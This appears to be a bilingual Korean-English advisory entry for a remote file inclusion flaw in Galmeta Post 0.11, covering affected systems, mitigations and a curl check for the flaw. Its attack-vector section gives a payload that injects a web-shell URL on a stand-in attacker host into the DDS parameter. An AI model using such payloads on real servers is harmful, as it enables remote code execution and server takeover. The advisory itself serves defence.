🇰🇷 한글 설명
Galmeta Post 0.11의 _lib/fckeditor/upload_config.php에서 DDS 매개변수를 통한 원격 파일 포함(RFI) 취약점이 존재하며, 공격자가 외부 URL의 악의적인 PHP 코드를 실행할 수 있습니다. allow_url_include 설정이 활성화된 PHP 환경에서 웹셀을 업로드하거나 원격 실행할 수 있어 서버 완전 장악이 가능합니다.
💡 쉬운 설명
파일 업로드 기능의 설정에서 외부 악의적인 파일을 실행할 수 있는 결함이 있습니다. 공격자가 이를 악용하면 서버를 완전히 제어할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in _lib/fckeditor/upload_config.php in Galmeta Post 0.11 allows remote attackers to execute arbitrary PHP code via a URL in the DDS parameter.
📍 영향받는 시스템
Galmeta Post 0.11 및 이전 버전, PHP allow_url_include가 활성화된 서버
⚔️ 공격 벡터
DDS 매개변수에 공격자의 웹셀 URL을 주입하여 원격 PHP 코드 실행 (예: ?DDS=http://attacker.com/shell.php)
🛡️ 대응 방법
Galmeta Post를 최신 버전으로 업그레이드, PHP php.ini의 allow_url_include를 Off로 설정, FCKEditor를 최신 보안 패치 버전으로 교체
🔧 검증 코드
PHP 경고나 오류가 반환되면 취약점 존재 가능성 높음, 404나 접근 거부면 패치되었거나 설정이 안전함
curl -s 'http://target/galmeta/_lib/fckeditor/upload_config.php?DDS=http://127.0.0.1/test.php' | grep -i 'include\|warning\|error'